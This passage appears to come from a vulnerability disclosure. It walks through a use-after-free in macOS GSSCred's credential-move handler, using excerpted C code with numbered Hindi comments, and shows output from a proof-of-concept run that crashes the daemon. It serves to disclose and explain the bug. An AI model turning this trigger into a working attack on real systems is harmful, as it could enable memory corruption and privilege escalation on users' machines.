//
// 1. from और to पूरी तरह से नियंत्रित UUID ऑब्जेक्ट हैं जो XPC अनुरोध से डीसीरियलाइज़ किए गए हैं।
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom और credto, from और to UUIDs द्वारा देखे गए HeimCredRef ऑब्जेक्ट हैं।
//    CFDictionaryGetValue() ऑब्जेक्ट्स को बिना रेफरेंस जोड़े लौटाता है। ध्यान दें कि यदि
//    from और to UUIDs समान हैं, तो credfrom और credto दोनों एक ही ऑब्जेक्ट को संदर्भित करेंगे।
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom को शब्दकोश से हटा दिया जाता है। चूँकि केवल एक रेफरेंस बकाया था,
//    इससे credfrom मुक्त हो जाता है।
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. इस बिंदु पर हम credto की जाँच करते हैं। यदि credfrom और credto एक ही ऑब्जेक्ट को संदर्भित करते हैं, तो
//    credto मुक्त HeimCredRef ऑब्जेक्ट के लिए एक गैर-NULL पॉइंटर है।
//
if (credto == NULL) {
	...
} else {
	//
	// 5. अब हम credto को डीरेफरेंस करते हैं, मुक्त मेमोरी से पढ़े गए मान को CFDictionaryRef ऑब्जेक्ट के रूप में CFDictionaryGetValue() में पास करते हैं।
	//
	CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
	...
}

$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
        "attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
                "kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
                "kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
                        0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
                }
                "kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
                "kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
                "kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
        }
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
        "XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
        "XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}